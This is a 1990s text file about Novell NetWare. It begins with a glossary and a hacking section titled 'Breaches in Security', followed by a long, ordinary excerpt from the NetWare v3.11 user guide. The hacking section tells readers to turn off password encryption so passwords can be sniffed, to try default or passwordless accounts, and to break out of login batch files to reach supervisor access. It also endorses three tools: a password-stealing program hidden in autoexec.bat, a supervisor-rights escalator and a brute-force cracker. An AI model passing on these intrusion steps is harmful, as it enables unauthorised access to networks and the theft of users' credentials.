Console‑‑ The monitor and keyboard at which you actually control fileserver activity.

File Server‑‑ The Computer that the Network software, applications, and some data reside on. (Usually a very powerful one, i.e. Compaq 486 with 1 gigabyte of storage).

Groups‑‑ A means of dealing with users collectively rather than individually. i.e. Word Processing, Accounting.

LAN‑‑ Local Area Network

Login Script‑‑ Similar to autoexec.bat, contains commands that initialize environmental variables, map network drives, and control the user's program execution.

Netware‑‑ Novell's Network Operating System.

Netwire‑‑ Novell's on‑line information service, accessible via Compuserve.

Network‑‑ A group of computers that can communicate with each other.

NIC‑‑ Network Interface Card

Novell‑‑ Software Manufacturer

Objects‑‑ any physical or logical entities, including users, user groups, workgroups, file servers, print servers, or any other entity that has been given a name.

Print Server‑‑ A computer dedicated to controlling all jobs for a specified printer.

Properties‑‑ the characteristics of each bindery object. Passwords, account restrictions, account balances, internetwork addresses, list of authorized clients, and group members are all properties.

Property Data Sets‑‑ the values assigned to an entity's bindery properties.

Rights‑‑ Rights control which directories and files a user or group can access and what the user or group is allowed to do with those directories and files.

User‑‑ Any person allowed to work on the network.

WAN‑‑ Wide Area Network

Workstation‑‑ Any usable computer connected to a network.

(‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Netware Environment:

The SYS:SYSTEM directory is used for system administration and contains operating system files, NetWare utilities, and programs reserved for SUPERVISOR.

The SYS:PUBLIC directory is used for general access and contains NetWare utilities and programs for regular network users.

The SYS:LOGIN directory contains the programs necessary for logging in.

The SYS:MAIL directory is used by NetWare‑compatible mail programs. This directory also has and ID number subdirectory for each user that contains the user login script and print job configurations.

(‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Breaches in Security:

Set Allow Unencrypted Passwords=on/off.

Enter this command from the "CONSOLE".

By changing this command you will disable the encryption scheme which will then allow you to sniff passwords from the cables between workstations and servers.

By default Netware comes with usernames GUEST and SUPERVISOR that have no passwords.

Also try names like TAPE, BACKUP, SERVER, REMOTE, CONNECT, NOVELL, etc... If you have access to an existing account use SYSCON to get a list of all the user names, most likely there will be one or two accounts that don't have passwords.

Also on some of these accounts that do not have passwords, part of their logon process is the execution of a batch file that executes the individual software i.e. backup. A batch file is a batch file so if its not disabled do the old CTRL‑C to break out of the batch file and roam around. Some accounts like the backup account must have supervisor rights so that everything can be backed up. So if you can break out of one of these you can roam the whole Network.

There are also a few neat little programs out there in cyberspace that will make your task of getting access a little easier:

1. THIEFNOV.ZIP ===> THIEFNOV is a TSR that will capture usernames

and passwords from a workstation on Novell

Networks. The Thief works by hiding in a user's

autoexec.bat file, and executing every time

someone tries to login to the network. The Thief

captures their username and password and saves

them in a hidden file in the root directory of

their C: drive.

2. TEMPSUP.ZIP ====> TEMPSUP is a utility that will create a user for

you to play with. TEMPSUP comes with two

programs, an executable and a NLM module. The

executable can be run by any user with access to

DOS but only gives you the rights of that user.

But, the NLM module can be loaded at the Console

and will give you Supervisor Rights to the whole

Network. The syntax is "Tempsup_username to be

created" i.e. f:> tempsup hacker <return>.

3. NETCRACK.ZIP ===> NETCRACK is a brute force hacking program

designed for Novell. NETCRACK can be run with

out login in to the network but by just loading

ipx and netx. NETCRACK starts with AAA and goes

from there trying to guess the password for any

user. The syntax is "netcrack_username <return>.

These are the only programs I know of made especially for Novell and I have personally tried them all out with excellent results.

If you do get access to a Novell Network and you are not sure what to do, then go to the F:\PUBLIC directory and type HELP. Novell comes with an online help system that uses FOLIO Infobases. The HELP system is very easy to navigate through and is better that the actual Novell Manuals. You can even download the programs NFOLIO.COM & NFOLIO.EXE and the infobases *.NFO to your local PC to examine further.

If you are using the brute force hacking method Novell will stop you dead in your tracks if the Intruder Detection/Lockout option has been enabled because after 3 unsuccessful login attempts the account is locked until a supervisor resets it.

Intruder Detection/Lockout options are as follows:

Detect Intruders: Yes/No Intruder Detection Threshold

Incorrect Login Attempts: #

Bad Login Count Retention Time: # Days # Hours # Minutes

Lock Account After Detection: Yes/No Length of Account Lockout: # Days # Hours # Minutes

The following restrictions are optional for every user account:

Account Disabled: Yes/No Account Has Expiration Date: Yes/No Date Account Expires:

Limit Concurrent Connections: Yes/No Maximum Connections:

Allow User To Change Password Yes/No Require Password: Yes/No Minimum Password Length:

Force Periodic Password Changes: Yes/No Days Between Forced Changes:

Date Password Expires:

Limit Grace Logins: Yes/No Grace Logins Allowed: Remaining Grace Logins:

Require Unique Passwords: Yes/No

Novell can also be setup so that users can only logon during certain hours, i.e. 8 a.m. ‑ 5 p.m. Monday thru Friday.

Trustee Assignments grant rights to specific users (or groups) that allow them to use a file or directory in particular ways (i.e., only for reading) The network supervisor can select the appropriate rights to assign to users or groups in each directory or file.

A trustee assignment automatically grants users the right to see to the root of a directory. However, the users can't see any of the subdirectories unless they also have been granted rights in the subdirectories.

Inherited Rights Masks are given to each file and directory when they are created. The default Inherited Rights Mask includes all rights. But this does not mean that users have all rights; users can only use rights that they been granted in trustee assignments.

If the Inherited Rights Mask is modified for a file or subdirectory below the original trustee assignment, the only rights the user can "inherit" for the file or subdirectory are rights that are allowed by the Inherited Rights Mask. For example, if a user is granted Read right with a directory trustee assignment, the right to read files in a subdirectory could be revoked by having the Read right removed from the subdirectory's Inherited Rights Mask.

Both trustee assignments and Inherited Rights Masks use the same eight trustee rights to control access to directories and file.

S ‑‑ Supervisory

Supervisory right grants all rights to the directory or file. At the directory level, this right grants all rights to the directory and to any files, subdirectories, or subdirectory files in that directory. The Supervisory right overrides any restrictions placed on subdirs or files with Inherited Rights Masks. Users who have the Supervisory right in a directory can grant other users Supervisory rights to the directory, its files, and subdirectories.

Once the Supervisory right has been granted, it can be revoked only from the directory is was granted to. It cannot be revoked in a file or subdirectory.

R ‑‑ Read

Read right allows users to open and read files. At the directory level this right allows users to open files in a directory and read the contents or run the program. At the file level, this right allows users to open and read the file (even when the right has been revoked at the directory level).

W ‑‑ Write

Write right allows users to write to files. At the directory level, this right allows users to open and write to (modify the contents of) file in the directory. At the file level, this right allows users to open and write to the file (even if the right has been revoked at the directory level).

C ‑‑ Create

Create right allows users to create directories and files. At the directory level, this right allows users to create files and subdirectories in the directory. At the file level, this right allows users to salvage a file after it has been deleted.

E ‑‑ Erase

Erase right allows users to delete directories and files. At the directory level, this right allows users to delete a directory as well as any files, subdirectories, and subdirectory files in that directory. At the file level, this right allows users to delete the file (even when the right has been revoked at the directory level).

M ‑‑ Modify

Modify right allows users to change directory and file attribute sand to rename subdirectories and files. At the directory level, this right allows users to change the attributes of and rename any file, subdir, or subdirectory file in that directory. At the file level, this right allows users to change the file's attributes or to rename the file (even when the right has been revoked at the directory level).

F ‑‑ File Scan

File Scan right allows users to see files. At the directory level, this right allows users to see files and subdirectories in a directory. At the file level, this right allows users to see the file (even when the right has been revoked at the directory level).

A ‑‑ Access Control

Access Control right allows users to modify trustee assignments and Inherited Rights Masks.

(‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As a network user, you should be familiar with the operation of the personal computer you are using. If you have an IBM PC‑type workstation, you should also be familiar with basic Disk Operating System (DOS) commands.

User Basics is divided into the following ten sections. The first section explains basic networking concepts and gives an overview of how a NetWare network operates.

The second section introduces the NetWare menu and command line utilities and explains how to use them.

The next seven sections explain some basic network tasks:

o Booting up

o Logging in and out

o Creating your login script

o Mapping your drives

o Sending messages

o Managing files and directories

o Printing

Some basic troubleshooting hints are covered under "What If ..." at the end of each of these modules and are also listed in the index.

The last section lists some common error messages and how to respond to them.

This booklet does not explain how to perform every network task or how to use every available network command. For complete explanations of all network tasks and commands, see NetWare v3.11 Utilities Reference.

INTRODUCTION TO NETWARE

If your personal computer is part of a NetWare network, it is connected to other computers and peripherals. You can share files and resources and communicate with others in your workgroup, thus increasing productivity.

This introduction answers the following questions about using a NetWare network:

o What is a NetWare network?

o How does a network operate?

o How are files stored on a network?

o Who can use the network?

o How is information protected on a network?

WHAT IS A NETWARE NETWORK?

A NetWare network is a group of computers (such as IBM PCs or Macintoshes) that are linked together so they can communicate and share resources.

Network users, each working on a different personal computer, can communicate with each other via the network. They can also share network resources (hard disks on the file server, data, applications, and printers) and use any service the network provides (for example, access to a mainframe system).

HOW DOES A NETWORK OPERATE?

To understand how a network operates, you must know about the principal components of a network: the file server, the workstations, and the software that runs on each‑‑‑‑NetWare and operating systems like DOS, OS/2, VMS, UNIX, and the Macintosh operating system.

Beyond these basic components, a NetWare network can incorporate mainframe computers, backup devices, modem pools, and different types of servers (such as file servers, print servers, or archive servers).

The Network Workstations and DOS

Workstations are the personal computers on which network users do their work. Workstations are used much like non‑networked personal computers. The only difference is that they can access files from more than just the local drives. Each workstation processes its own files and uses its own copy of DOS.

The Network File Server and NetWare

The file server is a personal computer that uses the NetWare operating system to control the network. The file server coordinates all of the workstations and regulates the way they share network resources. It regulates who can access which files, who can make changes to data, and who can use the printer first.

All network files are stored on a hard disk in or attached to the file server, instead of on diskettes or hard disks in individual workstations.

The NetWare Workstation

Workstations use two pieces of software to communicate with the file server, the shell and a protocol. The shell must be loaded into each workstation before that workstation can function on the network.

The NetWare shell, either NET3 or NET4 (depending on whether you are using DOS 3.x or 4.x), directs workstation requests to DOS or NetWare. When a workstation makes a request (asks to do a task), the shell decides if it is a workstation task (to be directed to DOS) or a network task (to be directed to NetWare). If the request is a workstation task (such as using the DOS DIR command to list the files in a local directory), DOS should handle the request. If the request is a network task (such as printing a job on a network printer), NetWare should handle the request. The shell sends the request to the appropriate operating system, somewhat like a railroad track switcher sends trains to the proper destination.

The workstation shell uses another file, IPX.COM, to send network messages to the file server and, in some cases, directly to other network stations. This IPX protocol is the language the workstation uses to communicate with the file server.

HOW ARE FILES STORED ON A NETWORK?

All network information is stored on the file server's hard disk. The system for storing that information is called the "directory structure."

The NetWare directory structure, or storage system, is organized into

o File servers, which contain one or more

o Volumes, which can span several hard disks and are divided into o Directories, which can contain other directories (subdirectories) and o Files.

A directory structure can be compared to a filing cabinet system.

o The file server corresponds to the filing cabinet.

o The volumes correspond to the filing cabinet drawers. Each file server has at least one volume, the SYS volume, which is created when the server is installed. In NetWare v3.11, however, one volume can span several hard disks.

o The directories correspond to the hanging folders within the filing cabinet drawers. You can create and delete directories to suit your organizational needs, much as you insert hanging folders into, and remove them from, a filing cabinet.

o Directories can contain other directories, which are sometimes referred to as "subdirectories. These directories within a directory then correspond to the manila folders inside the hanging folders. They divide directories into smaller units, just as manila folders divide hanging folders into smaller units.

o And finally, directories contain actual files, just as manila folders contain individual documents. A file might be a letter or a list of addresses. When you save information in a file, you give the file a unique name so you can retrieve it later.

WHO CAN USE THE NETWORK?

Before being able to work on the network, a person must be designated as a network user. Network users can be assigned four levels of responsibility on the network.

o Regular network users

o Operators (file server console operators, print queue operators, print server operators)

o Managers (workgroup managers, user account managers)

o Network supervisors

Regular network users are the people who work on the network. They can run applications and work with files according to the rights assigned to them.

Operators are regular network users who have been assigned additional privileges. For example, a file server console operator is a network user who is given specific rights to use the FCONSOLE utility.

Managers are users who have been given responsibility for creating and/or managing other users. Workgroup managers can create and manage users; user account managers can manage, but not create, users. Managers function as supervisors over a particular group, but they do not have supervisor equivalence.

Network supervisors are responsible for the smooth operation of the whole network. Network supervisors maintain the system, restructuring and updating it as needed. Supervisors may also teach regular network users how to use the network.

HOW IS INFORMATION PROTECTED ON A NETWORK?

All information on a NetWare network is stored in a central location‑‑‑the file server's hard disk. However, all users should not be able to access all information (such as payroll files). In addition, users should not always be able to access the same data file at the same time; otherwise, they may overwrite each other's work.

To prevent problems like these, NetWare provides an extensive security system to protect the data on the network.

NetWare security consists of a combination of the following:

o Login security

Login security includes creating usernames and passwords and imposing station, time, and account restrictions on users.

o Trustee rights (privileges) assigned to users

Trustee rights control which directories and files a user can access and what the user is allowed to do with those directories and files, such as creating, reading, erasing, or writing to them.

o Attributes assigned to directories and files

Directory and file attributes determine whether that directory or file can be deleted, copied, viewed, or written to. Among other things, they also mark a file as shareable or non‑shareable.

These three levels of security work together to protect the network from unauthorized access.

REVIEW

This introduction explained the following:

o A NetWare network links personal computers so users can communicate and share resources.

o A NetWare network consists of two or more workstations and at least one file server.

Workstations are personal computers on which network users do their work. Workstations run their own native operating system (for example, DOS) and process their own files. They can access files, applications, and resources through the file server.

File servers are personal computers that use the NetWare operating system to coordinate all network activities.

o Workstations and the file server communicate via the NetWare shell, which must be loaded into each workstation (just as DOS must be loaded into each workstation). NET3 or NET4 (the NetWare shells corresponding to DOS 3.x or 4.x) sends workstation requests to the proper operating system (file server or workstation) for processing.

o The shell uses a protocol, such as IPX, to send messages to the appropriate network station.

o Information is stored on the file server in a directory structure that is made up of volumes, directories, and files.

o There are four types of network users: regular network users, network operators, network managers, and network supervisors. The type of user you are is determined by your responsibilities.

o NetWare's extensive security system prevents users from corrupting data in network files and prevents unauthorized users from accessing restricted files.

WHAT ARE MENU AND COMMAND LINE UTILITIES?

You use NetWare utilities to perform network tasks. There are two types of utilities: menu utilities and command line utilities. Menu utilities let you perform network tasks by choosing options from menus. Command line utilities let you perform tasks by typing commands at the DOS command line. This section explains how to execute both types of NetWare utilities.

WORK WITH MENU UTILITIES

Access a Menu Utility

To access a menu utility, such as FILER, type the utility's name at the DOS prompt and press <Enter>. The utility's main menu

is displayed along with a screen header showing the following:

o The utility's full name

o The current date and time

o The directory path leading up to your current directory (some utilities) o Your username on your file server (some utilities)

o Your connection number (some utilities)

Exit a Menu Utility

There are two ways to exit a menu utility:

o Press <Escape> until an exit confirmation box appears. Then highlight "Yes" and press <Enter>.

o Press the Exit key (usually <Alt><F10>). Do not press the Exit key to exit a menu utility if you have made changes within the utility; if you do, the changes are not saved. Exiting via the Escape key saves your changes.

Additional Information

Once you have accessed a menu utility and the main menu is displayed, you are ready to work. Menu utilities use certain keys to perform special functions. The utilities also have certain standard components. The keys, wildcards, and components are described below.

F1 (Help) Key. Displays help screens.

If you press the help screen once, a help screen that applies to the task you are currently working on appears. The help screen describes all the options on the screen. To get help on a specific option, highlight the option and press <Enter>.

If you press the Help key twice, your computer's function key assignments are listed. There are three screens containing function key assignments. Press the <PageDown> key to see subsequent screens.

F5 (Mark) Key. Allows you to mark multiple items in a list so you can add or delete several items at once.

Esc (Escape) Key. Has three functions:

1) If you are on a menu screen, pressing <Escape> allows you to return to a previous menu.

2) If you are at the main menu, pressing <Escape> causes an exit confirmation box to appear. By highlighting "Yes" and pressing <Enter>, you exit the menu utility and return to the menu or command line prompt.

3) If you are performing a process, pressing <Escape> allows you to continue.

Wildcard characters (* and ?). DOS and NetWare recognize these as universal replacements for any other character or set of characters. Wildcards can be used to search for groups of volumes, directories, or files, or they can be used to search for a particular file when you are unsure of its complete name.

An asterisk (*) in a filename indicates that any character can occupy that position and all remaining positions in the filename. For example, in the FILER utility, to copy all subdirectory's files with the extension .EXE to another directory, type "*.EXE" in the menu's entry box and press <Enter>.

In contrast, a question mark (?) in a filename indicates that any character can occupy that position, and that position only. So, if you were to type "ACCOUNT?.NEW", you would copy files like ACCOUNT1.NEW, ACCOUNT2.NEW, and so on.

NetWare's use of wildcard characters differs from DOS's in one respect. For example, to represent all files in a directory, DOS expects you to type "*.*", whereas NetWare only needs one asterisk (*).

For more information about wildcard characters (global filename characters), see your DOS manual.

Components. When you first access a menu utility, the main menu is displayed. Menus contain options you can choose from. Options can be selected one of two ways:

o You can use the arrow keys to highlight the option you want. Then press <Enter>.

o You can type the first letter of an option to highlight that option. If more than one option in the menu starts with the same letter(s), type enough additional letters to distinguish one option from the others. (For example, if both "Search" and "Select" were options, you would have to type "Sel" to highlight "Select.") Once the option you want is highlighted, press <Enter>.

When you select an option from the main menu, additional menus and displays appear on the screen. These displays include lists, entry boxes, insets, forms, and confirmation boxes. Each type of screen display is explained below.

Lists Lists are similar to menus, and items in the lists can be selected the same way menu options are. However, you can also add to and delete items from some lists. Lists may have more than one column, and they may extend below the screen display. Press the Down‑arrow key to see additional items. Pressing <Ctrl><PageDown> takes you to the bottom of the list. Pressing <Ctrl><PageUp> takes you to the top of the list.

Entry boxes Entry boxes are boxes in which you can get information, such as a username or pathname. The Delete, Backspace, and arrow keys work in these boxes.

Insets Insets display information that cannot be edited (except by the network supervisor). Regular users cannot add to or delete from the information in this window.

Forms Forms are windows that contain fields. You can move around in a form using the arrow keys or the Enter key. (When you press <Enter>, the cursor moves to the next field in the form.) You can change the information in the field by highlighting the field and pressing <Enter>.

What you do next depends on the type of field. Some fields allow you to type in information; others display menu items to select.

Confirmation boxes Confirmation boxes are displayed whenever you exit a menu utility or whenever you create or delete items (such as directories or files). You can either confirm or cancel the action by selecting "Yes" or "No" and pressing <Enter>.

WORK WITH COMMAND LINE UTILITIES

Command Format

The command format displays the appropriate syntax for command line utilities. Command line utilities are typed in at the DOS prompt.

The following are examples of the command formats for the NPRINT and the TLIST utilities:

NPRINT path [option...] <Enter>

TLIST [path [USERS | GROUPS]] <Enter>

Conventions

The conventions for these example command formats are explained below:

NPRINT Words that appear in all capital letters must be spelled exactly as shown. Although they appear in capital letters, they can be typed in either upper or lower case.

path Words that appear in lower case are variables. They should be replaced with the information pertinent to your task. In this case, "path" would be replaced with the path leading to and including the file you want to indicate, and you would replace "option" with any NPRINT options you want to specify.

[ ] Square brackets indicate that the enclosed item is optional: you can enter a command with or without the enclosed item. In this case, "option" is optional.

.... Ellipses indicate that more than one option can be used with the command. In this case, more than one NPRINT option can be entered in the command.

<Enter> The angle brackets indicate that you should press the key whose name appears between them.

Always press <Enter> after typing the command format for command

line utilities.

[[ ]] Nested square brackets indicate that all enclosed items are optional. However, if you use the item(s) within the innermost brackets, you must also use the item(s) within the outer brackets.

| A vertical bar or "pipe" means "either, or." You can use either the item to the left of the vertical bar or the item to the right, but not both.

Wildcard Characters

DOS and NetWare recognize wildcard characters (* and ?) as universal replacements for any other character or set of characters. Wildcards can be used to search for groups of volumes, directories, or files, or to search for a particular file when you are unsure of its complete name.

An asterisk (*) in a filename indicates that any character can occupy that position and all remaining positions in the filename. For example, to search for all filenames with the extension .EXE in your default directory, type "NDIR *.EXE" and press <Enter> to display the list.

In contrast, a question mark (?) in a filename indicates that any character can occupy that position, and that position only. So, if you were to type "NDIR *.?", you would see a list of all files in your default directory with a single‑character extension or no extension at all.

NetWare's use of wildcard characters differs from DOS's in one respect. For example, to represent all files in a directory, DOS expects you to type "*.*", whereas NetWare only needs one asterisk (*).

For more information about wildcard characters (global filename characters), see your DOS manual.

GET HELP IN NETWARE

Use the NetWare HELP utility to view on‑line information about NetWare utilities, NetWare system messages, and NetWare concepts. NetWare HELP allows you to search for and retrieve information from infobases (information databases). To access HELP, type

HELP <Enter>

Press <Enter> again to bring up the main menu. For more information on how to use NetWare HELP, press the Tab key until you get to "How to use this reference." Then press <Enter>.

BOOT UP

To "boot up" your workstation means to turn on your computer, load DOS, and then load the workstation shell. You accomplish all of this with a boot diskette, or you can put the necessary boot files on your workstation's hard disk. These boot files start up the workstation operating system, load the NetWare shell, and gain access to the network.

Create Boot Diskettes

1. Format a blank diskette as a boot diskette, using the DOS FORMAT command. Insert a diskette into drive A and type

Format a: /s <Enter>

Follow the screen prompts.

2. Copy IPX.COM and the shell file (NETx.COM) onto the boot diskette or to the root directory of your workstation's hard disk.

If your workstation uses DOS 3.x, use NET3.COM.

If your workstation uses DOS 4.x, use NET4.COM.

3. Copy these following additional boot files to the boot diskette or your hard disk, if needed. Your network supervisor can provide you with these files:

AUTOEXEC.BAT

CONFIG.SYS

SHELL.CFG

See also "Boot files" in NetWare v3.11 Concepts and Appendix A in NetWare v3.11 Installation.

4. Label the boot diskette.

Create an AUTOEXEC.BAT File

You can create an AUTOEXEC.BAT file that automatically loads the shell file each time you boot the workstation. This AUTOEXEC.BAT file can also set your workstation to the first network drive (F), connect you (user MARIA) to a file server (WONDER), and set your DOS prompt to show your current directory (PROMPT $P$G).

Follow these steps to create your AUTOEXEC.BAT file:

1. Insert your boot diskette into drive A and change to drive A. If you plan to boot from your hard disk, change to your hard disk drive (C or D).

2. If you are using DOS 4.x, type

COPY CON AUTOEXEC.BAT <Enter>

IPX <Enter>

NET4 <Enter>

F: <Enter>

LOGIN WONDER/MARIA <Enter>

PROMPT $P$G <Enter>

<Ctrl>Z <Enter>

If you are using DOS 3.x, replace NET4 with NET3.

LOGIN/LOGOUT

When you log in to a network, you establish a connection between your workstation and the file server. When you log out, you terminate that connection.

To log in to the network, you must type in a unique password. If there were no password, other unauthorized users could easily get to your files and use them for their purposes.

Log In to Your Network

To log in to your default server, type

LOGIN servername/username <Enter>

Replace servername with the name of the file server you want to log in to. Replace username with your login name and (if applicable) type your password when you are prompted for it.

Log Out of Your Network

To log out of your default server, type

LOGOUT <Enter>

To log out of a file server you are attached to, type

LOGOUT servername <Enter>

Attach to Another File Server

Attach to another file server if you want to do the following:

o Send messages to users on that file server

o Map a drive to that file server

o Copy a directory to that file server

To access another file server while remaining logged in to your default file server, type

ATTACH servername/username <Enter>

Replace servername with the name of the server you want to attach to. Replace username with the username you have been assigned to use on that file server.

Create or Change a Password

1. To create or change a password on your default server, type

SETPASS <Enter>

The following prompt appears on the screen:

Enter your old password:

2. If you are changing a password, enter the old password. If you are creating a new password, press <Enter>. The following prompt appears on your screen:

Enter your new password:

3. Enter the password you want. The following prompt appears:

Retype your new password:

4. Enter the new password again. The following message appears on your screen:

Your password has been changed.

View Who You Are on Your Network

Type

WHOAMI <Enter>

Information similar to the following is displayed:

You are user FRANK attached to server MKTG, connection 1 Server MKTG is running NetWare v3.11.

Login time: Wednesday October 2, 1991 8:05 am

You are user GUEST attached to server ACCT, connection 7 Server ACCT is running NetWare v3.11.

Login time: Wednesday, October 2, 1991 8:05 am

This screen display indicates that you are attached to both file servers MKTG and ACCT. Your username on MKTG is FRANK, and your username on ACCT is GUEST.

View File Servers on Your Network

Type

SLIST <Enter>

Information similar to the following appears:

Known NetWare File Servers Network Node Address

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

RECORDS [CED88] [2608C234732]

SALES [CED87] [2608C217651]

MFG [CED86] [2608C293185]

View Current Users on Your File Server

You must be attached to a file server before you can view the list of users for that file server.

Type

USERLIST <Enter>

Information similar to the following appears:

User Information for Server BLOOM

Connection User Name Login Time

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑

1 JOE 4‑17‑1991 8:05 am

2 *CORRINE 4‑17‑1991 11:20 am

3 PAULO 4‑17‑1991 7:58 am

4 GUS 4‑17‑1991 6:01 pm

An asterisk (*) appears next to your username.

What If ...

.... I can't log in?

o Your password may have expired or you may have run out of grace logins.

Your supervisor or manager has to unlock your account.

o You haven't changed to the network login drive (F).

o The LOGIN.EXE file is missing.

o Your shell may be outdated. Type

NVER <Enter>

Report the version number to your supervisor.

o Your network board may not be seated correctly.

o Your file server may be down. Type

SLIST <Enter>

If your file server is listed, log in by typing

LOGIN servername/username <Enter>

o You may be restricted from logging in during certain times. Ask the network supervisor.

.... My screen is frozen?

o Your supervisor should run the MONITOR utility and clear your connection. This saves the work you were doing. Then complete one of the two following tasks:

o To warm boot, press <CTRL><ALT><DEL> simultaneously.

o To cold boot, turn the computer OFF, wait 15 seconds, and then turn it ON again.

o Your network cable may not be connected or terminated properly. Notify your supervisor.

o Your node (or station) address may be in conflict with another workstation. See if new workstations have been added to your network.

o You may have the wrong IPX configuration. Ask your supervisor.

o You may have received a message while in graphics mode. Disable messages before entering graphics mode by typing

CASTOFF <Enter>

CREATE YOUR LOGIN SCRIPT

Your login script is a program that automatically sets up your workstation's environment each time you log in. It performs tasks such as mapping network drives for you, automatically executing programs and starting applications, and attaching you to different file servers.

This section introduces some basic login script commands.

To access your login script, follow these steps:

1. Type

SYSCON <Enter>

2. Select "User Information" from the main menu.

3. Select your user name from the list of users that appears.

4. Select "Login Script."

5. Enter the commands you need in your login script. Some common commands are listed under "Common Login Script Commands" below.

6. Exit and save the login script by pressing <Escape> and answering "Yes" in the confirmation box.

7. To execute your new login script, you must first log out of the network, and then log in again.

Common Login Script Commands

The commands below can be used in your login script. Each command is followed by its purpose and an example of how to use it.

MAP INS16:= Inserts the drive as the next available search drive.

MAP INS16:=pd3\sys:jan

MAP drive:= Maps the specified drive to the given directory.

MAP G:=pd3\sys:home\jan

MAP *n:= Maps the next available drive to the given directory.

MAP *1:=pd3\sys:home\jan

# Runs an executable file (a file with an .EXE or .COM extension).

#SYSCON

REMARK These three commands allow you to insert explanatory text in * the login script. They will not appear on your screen. ;

REMARK Be sure to update the PROJECTS file.

* Check for new mail.

; Assign OS‑dependent Search mappings.

ATTACH Allows you to attach to other file servers while remaining logged in to your current file server.

ATTACH pd3\jan

SET Allows you to set DOS variables.

SET wp="/u‑jlw/"

SET usr="jwilson"

IF...THEN Executes certain commands, if a specified condition exists.

IF DAY_OF_WEEK="Monday" THEN WRITE "AARGH..."

What If ...

.... My login script doesn't execute all the way?

o You may have inserted an EXIT command to a batch file in the middle of your login script. Anything after the EXIT command is ignored. Move the EXIT command to the end of your login script.

o An IF...THEN clause in your login script may be incomplete or incorrect. Check the proper command format in Appendix A of NetWare v3.11 Installation.

.... I am unable to map a drive to another file server?

The file server you want to map a drive to may be down. To check whether the file server is up, type

SLIST <Enter>

.... I add some mapped drives to my login script and some I wanted are gone?

The system login script executes before the user login script. You can overwrite the mapped drives in the system login script with those in your user login script. Instead of using the command "map drive:=", use the command "map ins 16:=" or "map *1:=". (Remember: You can have only 26 drive mappings.)

VIEW OR CREATE YOUR MAPPED DRIVES

Mapped drives point to particular locations in the directory structure. In NetWare, there are three type of drives: local drives, network drives, and search drives. Local drives are physically attached to a workstation. Network drives allow users to access particular locations in the directory structure. Search drives allow users to execute program files (such as applications or utilities) that are in a directory other than the user's current directory. For more information, see "Drive mappings" in NetWare v3.11 Concepts.

This section tells you how to do the following:

o View all mappings

o Map network drives

o Map search drives

View All Mapped Drives

Type

MAP <Enter>

You see information similar to the following:

DRIVE A: maps to a local drive

DRIVE B: maps to a local drive

DRIVE F:= COUNT/SYS: /HOME/KAREN

DRIVE G:= COUNT/SYS: /

DRIVE H:= COUNT/ACCT: /ACCDATA

‑‑‑‑‑‑‑

SEARCH1:=Z: [COUNT/SYS: /PUBLIC]

SEARCH2:=Y: [COUNT/SYS: /PUBLIC/WP]

SEARCH3:=X: [COUNT/ACCT: /ACCREC]

Map Network Drives

Suppose you want to map a network drive to a directory in which you have files. To see what network drive letters are available, type

MAP <Enter>

Choose a drive letter that is not being used, such as J. Type

MAP J:= path <Enter>

Replace path with the directory path (including the file server name and the volume name) leading to the directory to which you want to map network drive J.

For example, suppose your username is MARIA and you want to map drive J to your home directory, which is on file server COUNT in volume SYS. Type

MAP J:= COUNT/SYS:HOME/MARIA <Enter>

MAP SEARCH DRIVES

Suppose your search drives appear as follows:

SEARCH1:=Z: [COUNT/SYS: /PUBLIC]

SEARCH2:=Y: [COUNT/SYS: /PUBLIC/WP]

The next available search drive is SEARCH3 (S3). To map a

search drive to directory ACCREC on volume ACCT, type

MAP S3:=COUNT/ACCT:ACCREC <Enter>

When you type MAP again, the new search drive appears:

SEARCH1:=Z: [COUNT/SYS: /PUBLIC]

SEARCH2:=Y: [COUNT/SYS: /PUBLIC/WP]

SEARCH3:=X: [COUNT/ACCT: /ACCREC]

What if ...

.... I just mapped a drive and then rebooted, and now the mapped drive is gone?

Did you map the drive in your login script? Drives mapped at the command line are temporary‑‑‑‑they are deleted when you log out of your file server or turn off your workstation. If you want the mapping to be permanent, you must enter it in your login script.

.... The system won't accept my mapped drives?

o You may not have rights to the directory you want to map to. Change to that directory and type

RIGHTS <Enter>

If your rights aren't sufficient, see your supervisor.

o You may have used the wrong command format.

.... I just viewed my mapped drives and some of them seem to be incorrect?

Did you use the DOS CD command to change your default directory? Changing directories changes your mapping.

.... My search drives are in reverse order?

Search drives are numbered, but their associated drive letters begin in reverse alphabetical order. For example, the first search drive (Search 1 or S1) appears as network drive Z, the second one appears as network drive Y, and so on. However, in your login script, they should appear in normal alphabetical order.

SEND MESSAGES TO OTHER USERS

You can communicate with other users on your network by

sending messages from your workstation command line.

This section explains how to do the following:

o Send a message to one or more users

o Send a message to all workstations

o Block/allow messages from other workstations

Send a Message to One or More Users

Suppose you want to send the following message to users CINDY and ERIC: "Meeting at 1:30 today." Also suppose that CINDY and ERIC are logged in to your default server. Type

SEND "MEETING AT 1:30 TODAY" CINDY, ERIC <Enter>

A confirmation message appears, telling you that the message was sent.

If CINDY is logged in to another file server called SALES, attach to that file server and type

SEND "MEETING AT 1:30 TODAY" SALES/CINDY <Enter>

Send a Message to All Workstations

Suppose you want to send the following message to all workstations: "Paychecks are here." Type

SEND "PAYCHECKS ARE HERE." EVERYONE <Enter>

A confirmation message appears listing all the users to whom the message was sent.

If you want to send a message to everyone on another file server, you must be attached to that file server and specify the name of the file server in the command.

Block/Allow Messages from Other Workstations

If you do not want to receive messages sent to you from any network stations, type

CASTOFF <Enter>

The following message appears on your screen:

Broadcasts from other stations will now be rejected.

To allow your workstation to again receive messages from other network users, type

CASTON <Enter>

The following message appears on your screen:

Broadcast messages from the console and other stations will now be accepted.

What If ...

.... I am unable to send a message to a user?

o Is the user logged in? Type

USERLIST <Enter>

o Is your message buffer full? You can only receive up to two messages. You must clear these messages from your screen (by pressing <Ctrl><Enter>) before you can receive others.

o Did you type the SEND command properly?

.... I am unable to send messages to users on another file server?

o Did you attach to that file server?

o Is the user logged in? Type

USERLIST <Enter>

o Did you type the SEND command properly?

